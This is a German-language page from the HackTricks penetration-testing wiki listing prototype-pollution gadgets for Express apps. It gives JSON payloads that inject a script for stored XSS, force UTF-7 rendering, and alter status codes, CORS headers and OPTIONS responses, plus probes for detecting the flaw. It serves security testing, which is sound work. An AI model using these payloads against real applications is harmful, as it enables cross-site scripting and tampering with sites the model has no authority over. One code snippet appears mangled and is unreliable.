Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
XSS-Antworten bereitstellen
Für weitere Details sehen Sie sich die ursprüngliche Forschung an
Ändern Sie den JSON-Inhaltstyp in HTML
In einer Express-App, die eine JSON-Inhaltstyp-Antwort verwendet und ein JSON widerspiegelt:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
In diesen Fällen ist XSS normalerweise nicht mit einem JSON-Inhaltstyp möglich. Mit Prototype Pollution können wir jedoch Express verwirren, um eine HTML-Antwort bereitzustellen. Diese Schwachstelle beruht darauf, dass die Anwendung res.send(obj)
verwendet und den Body-Parser mit dem Inhaltstyp application/json nutzt.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Durch das Verschmutzen der body
und _body
Eigenschaften ist es möglich, Express dazu zu bringen, den HTML-Inhaltstyp bereitzustellen und die _body
-Eigenschaft widerzuspiegeln, was zu gespeichertem XSS führt.
UTF7 rendern
Es ist möglich, dass Express UTF-7-Inhalte rendert mit:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Sichere Scanning-Techniken
JSON-Räume
Die folgende PP wird Attribute innerhalb eines JSON einen zusätzlichen Raum geben, der die Funktionalität nicht beeinträchtigt:
{ "__proto__": { "json spaces": " " } }
Dann sieht ein reflektiertes JSON so aus:
{"foo": "bar"} -- Note the extra space
Exposed Headers
Das folgende PP-Gadget wird den Server dazu bringen, den HTTP-Header zurückzusenden: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Es erfordert, dass das CORS-Modul installiert ist.
OPTIONS-Methode
Mit dem folgenden Payload ist es möglich, eine Methode aus einer OPTIONS-Antwort zu verbergen:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Status
Es ist möglich, den zurückgegebenen Statuscode mit dem folgenden PP-Payload zu ändern:
{ "__proto__": { "status": 510 } }
Fehler
Wenn Sie einem Prototypen mit einem primitiven Wert wie einem String zuweisen, führt dies zu einer no-op-Operation, da der Prototyp ein Objekt sein muss. Wenn Sie versuchen, ein Prototypobjekt dem Object.prototype
selbst zuzuweisen, wird dies eine Ausnahme auslösen. Wir können diese beiden Verhaltensweisen nutzen, um festzustellen, ob die Prototypverschmutzung erfolgreich war:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflektierter Wert
Wenn eine Anwendung ein Objekt in ihrer Antwort einfügt, kann das Erstellen eines Attributs mit einem ungewöhnlichen Namen neben __proto__
aufschlussreich sein. Insbesondere wenn nur das ungewöhnliche Attribut in der Antwort zurückgegeben wird, könnte dies auf die Verwundbarkeit der Anwendung hinweisen:
{ "unusualName": "value", "__proto__": "test" }
Darüber hinaus bietet in Szenarien, in denen eine Bibliothek wie Lodash verwendet wird, das Setzen einer Eigenschaft sowohl über Prototype Pollution (PP) als auch direkt im Objekt einen weiteren diagnostischen Ansatz. Wenn eine solche Eigenschaft in der Antwort weggelassen wird, deutet dies darauf hin, dass Lodash die Existenz der Eigenschaft im Zielobjekt überprüft, bevor es zusammenführt:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Sonstiges
Punkte erlauben
Es gibt eine Option in Express, die es Ihnen ermöglicht, Objekte aus Abfragezeichenfolgenparametern zu erstellen.
Sie könnten es definitiv in einer Fehler-kette verwenden, um eine Prototype Pollution-Sicherheitsanfälligkeit auszunutzen.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
erstellt ein Objekt in Node.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.